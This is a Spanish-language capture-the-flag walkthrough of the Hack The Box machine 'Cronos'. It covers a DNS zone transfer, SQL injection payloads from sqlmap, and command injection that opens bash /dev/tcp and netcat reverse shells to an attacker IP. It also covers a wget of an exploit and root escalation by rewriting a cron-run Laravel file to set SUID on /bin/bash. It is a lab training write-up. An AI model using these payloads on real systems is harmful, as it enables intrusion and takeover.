Cronos

Hack The Box — Metodología Detallada

Cronos

IP:10.129.227.211
OS:Linux
Dificultad:Medium
Fecha:12 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.227.211 -oG allPorts

# Output
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Se identificaron 3 puertos abiertos: 22 (SSH), 53 (DNS) y 80 (HTTP). Se procedió a enumerar versiones de los servicios para determinar un vector de ataque principal.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hallazgo: se identificó una versión vulnerable del servicio Apache 2.4.18, vinculada a un CVE conocido: CVE-2019-0211, que permite a un atacante con control sobre un proceso hijo de bajo privilegio (como un script web) ejecutar código arbitrario con los privilegios del proceso padre (normalmente root).

Enumeración web inicial

Antes de buscar un exploit público para la versión de Apache identificada, se accedió a la página principal para observar si se encontraba algo de valor.

Página web principal

Al no encontrarse nada relevante, se inspeccionó el código fuente mediante Ctrl+U en busca de rutas o archivos sensibles, sin resultados.

Se identificó un exploit público compatible con la versión de Apache, aunque únicamente funcional como mecanismo de escalada de privilegios (requiere contar previamente con un usuario de bajo privilegio):

searchsploit apache 2.4.18

Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege
Escalation

Intento fallido — escaneo de directorios y LFI

Se realizó un escaneo de directorios con feroxbuster, sin encontrar nada de valor que sirviera como vector de entrada:

feroxbuster -u http://10.129.227.211/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt

200      GET       15l      74w    6143c http://10.129.227.211/icons/ubuntu-logo.png
200      GET      379l      975w    11439c http://10.129.227.211/
200      GET      379l      975w    11439c http://10.129.227.211/index.html

Por qué no funcionó: el escaneo solo devolvió recursos por defecto de la página de bienvenida de Apache, sin directorios ni archivos ocultos de interés.

Se probó adicionalmente si la página principal era vulnerable a LFI (Local File Inclusion), sin obtener resultados.

Debido a la falta de un vector de entrada claro, se revisó la descripción oficial de la máquina, la cual menciona una inyección SQL introductoria. Se probó directamente sobre la página principal, pero tampoco se encontró nada.

Hallazgo del vhost administrativo — transferencia de zona DNS

Se volvió a revisar los puertos abiertos, prestando especial atención al puerto 53 (DNS), que no había sido explorado. Investigando máquinas similares en HTB, se identificó que servidores BIND mal configurados suelen permitir una transferencia de zona completa (AXFR), revelando todos los subdominios y hosts internos sin necesidad de fuerza bruta.

dig axfr cronos.htb @10.129.227.211

; <<>> DiG 9.20.24 <<>> axfr cronos.htb @10.129.227.211
;; global options: +cmd
cronos.htb.     604800  IN  SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200
604800
cronos.htb.     604800  IN  NS  ns1.cronos.htb.
cronos.htb.     604800  IN  A   10.10.10.13
admin.cronos.htb.   604800  IN  A   10.10.10.13
ns1.cronos.htb.     604800  IN  A   10.10.10.13
www.cronos.htb.     604800  IN  A   10.10.10.13
cronos.htb.     604800  IN  SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200
604800
;; Query time: 96 msec
;; SERVER: 10.129.227.211#53(10.129.227.211) (TCP)
;; WHEN: Sun Jul 12 02:44:15 UTC 2026
;; XFR size: 7 records (messages 1, bytes 203)

Hallazgo: se encontraron 3 subdominios apuntando a la misma IP, siendo admin.cronos.htb el de mayor interés:

cronos.htb
admin.cronos.htb
www.cronos.htb
ns1.cronos.htb

Página web administrativa

Explotación

Detección de inyección SQL con sqlmap

Luego de intentar manualmente inyecciones SQL sin obtener resultados visibles, se optó por utilizar sqlmap para automatizar la detección, dado que una inyección de tipo blind no produce cambios evidentes en la respuesta de la aplicación.

sqlmap -u "http://admin.cronos.htb/" --data="username=admin&password=admin"
--batch --level=5 --risk=3

Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-2155' OR 4174=4174-- iDIf&password=admin

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 8499 FROM (SELECT(SLEEP(5)))vULY)--
dzVs&password=admin

Interpretación del resultado: sqlmap confirmó que el parámetro username es vulnerable a inyección SQL de tipo blind, mediante dos técnicas:

Esto demuestra que la entrada del usuario se concatena directamente en la consulta SQL sin sanitización, permitiendo evadir la autenticación.

Payload adaptado en el login

Página principal tras el bypass

RCE mediante Net Tool v0.1

Dentro del panel administrativo se encontró la herramienta Net Tool v0.1, que ejecuta comandos de red (traceroute, ping, etc.) sobre una IP proporcionada por el usuario.

Probando si la herramienta interpreta comandos

Hallazgo: se confirmó que la herramienta interpreta correctamente comandos inyectados junto al parámetro de IP (por ejemplo, 8.8.8.8; id), confirmando una vulnerabilidad de command injection que permite RCE.

Intento fallido — reverse shell con netcat

8.8.8.8; nc -e /bin/sh 10.10.15.163 4444

Por qué no funcionó: el binario de netcat instalado en el sistema víctima no cuenta con soporte para el flag -e, ya que muchas distribuciones Linux lo omiten por razones de seguridad.

Reverse shell exitosa — payload de Bash

8.8.8.8; bash -c 'bash -i >& /dev/tcp/10.10.15.163/4444 0>&1'

Este método aprovecha una funcionalidad propia de Bash que permite tratar rutas del tipo /dev/tcp/IP/PUERTO como descriptores de archivo que abren una conexión TCP directa, sin depender de herramientas externas:

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.227.211 47546
bash: cannot set terminal process group (1358): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$

Enumeración post-explotación

whoami
www-data

find / -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/fusermount
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/passwd

Dado que la reverse shell con nc suele ser muy limitada, se estabilizó para poder ejecutar correctamente sudo -l:

sudo -l
sudo: no tty present and no askpass program specified

which python python3
/usr/bin/python
/usr/bin/python3

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

sudo -l
[sudo] password for www-data:
sudo: 3 incorrect password attempts

Se enumeraron los usuarios disponibles, encontrando noulis y root:

cat /etc/passwd | grep -E "/sh$|/bash$"
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash

Obtención de la flag de usuario

find / -name "user.txt" 2>/dev/null
/home/noulis/user.txt

cat /home/noulis/user.txt
2806d4*************f80c975

Escalada de Privilegios

Intento fallido — CVE-2019-0211

Dado que ya se había identificado previamente el exploit público para CVE-2019-0211 (apache2ctl graceful + logrotate), se decidió intentar esta vía primero, ya que se cumplía el prerequisito de contar con un usuario de bajo privilegio (www-data).

searchsploit -m linux/local/46676.php
python3 -m http.server 8080

# Desde la v\'ictima
wget http://10.10.15.163:8080/46676.php -O /var/www/admin/carpediem.php
curl "http://admin.cronos.htb/carpediem.php?cmd=chmod+u+s+/bin/bash"

Por qué no funcionó (primer intento): el disparo del exploit provocó una caída completa del servicio Apache, dejando tanto la página web como la shell reversa activa inutilizables temporalmente. Este es un comportamiento esperado del exploit, ya que depende de una condición de carrera (use-after-free) con una tasa de éxito documentada de aproximadamente 87% con la configuración por defecto de workers de Apache.

Por qué no funcionó (intentos posteriores): tras recuperar el acceso, se repitió el disparo del exploit en múltiples ocasiones, obteniendo consistentemente el siguiente mensaje de diagnóstico:

CARPE (DIEM) ~ CVE-2019-0211
The following addresses were not determined by parsing /proc/self/maps:
shm, apache

Esto indica que el exploit no logró ubicar las direcciones de memoria necesarias (shm y apache) para ejecutar la corrupción de memoria, abortando de forma segura sin lograr el efecto deseado. Tras varios intentos fallidos consecutivos, se descartó esta vía como el vector principal de la máquina.

Escalada exitosa — cron job de Laravel

Revisando la descripción oficial de la máquina, se identificó que el vector de escalada estaba relacionado con archivos world-writable en el crontab de root, no con el CVE de Apache. Se procedió a enumerar el crontab del sistema:

cat /etc/crontab

* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Hallazgo: se identificó una tarea que se ejecuta cada minuto como root, invocando el planificador de tareas de Laravel. Las tareas programadas de Laravel se definen en el archivo app/Console/Kernel.php, dentro del método schedule().

ls -la /var/www/laravel/app/Console/Kernel.php
-rw-r--r-- 1 www-data www-data 819 Apr  9  2017 Kernel.php

Se confirmó que el archivo pertenece al usuario www-data (el mismo bajo el cual se ejecuta la shell actual), lo que permite modificarlo libremente. Dado que el cron ejecuta este archivo como root cada minuto, cualquier código PHP insertado dentro de él se ejecutará con privilegios de root.

Se sobrescribió el archivo insertando una llamada a exec() que otorga el bit SUID a /bin/bash:

cat > /var/www/laravel/app/Console/Kernel.php << 'EOF'
<?php
namespace App\Console;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
class Kernel extends ConsoleKernel
{
    protected $commands = [
    //
    ];
    protected function schedule(Schedule $schedule)
    {
        exec("chmod u+s /bin/bash");
    }
    protected function commands()
    {
        require base_path('routes/console.php');
    }
}
EOF

Intento fallido — edición con sed: un primer intento de edición utilizando sed introdujo una llave de apertura duplicada, generando un error de sintaxis PHP (unexpected ’protected’) que impidió la ejecución del cron:

php /var/www/laravel/artisan schedule:run
PHP Parse error:  syntax error, unexpected 'protected' (T_PROTECTED)
in /var/www/laravel/app/Console/Kernel.php on line 36

Intento fallido — edición con nano: se intentó corregir el archivo con nano, pero al no estar la shell reversa completamente estabilizada, el editor dejó el TTY en un estado inconsistente, requiriendo reiniciar la sesión.

Solución: se optó por sobrescribir el archivo por completo mediante heredoc (cat > archivo << 'EOF'), método que no requiere control interactivo de terminal y resulta mucho más confiable en shells reversas no estabilizadas.

Tras esperar al siguiente ciclo del cron (máximo 1 minuto), se verificó el resultado:

php -l /var/www/laravel/app/Console/Kernel.php
No syntax errors detected

ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash

El bit SUID quedó establecido correctamente. Se procedió a obtener una shell con privilegios de root:

bash -p
whoami
root

id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

El flag -p (privileged) es necesario porque Bash, por defecto, descarta privilegios elevados si detecta que el UID real y el UID efectivo difieren; este flag preserva el UID efectivo (root) otorgado por el bit SUID.

Obtención de la flag root

cat /root/root.txt
70335******************e2a

Reflexión Final

Qué salió bien

Qué salió mal o costó más

Lecciones aprendidas

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 2 Horas.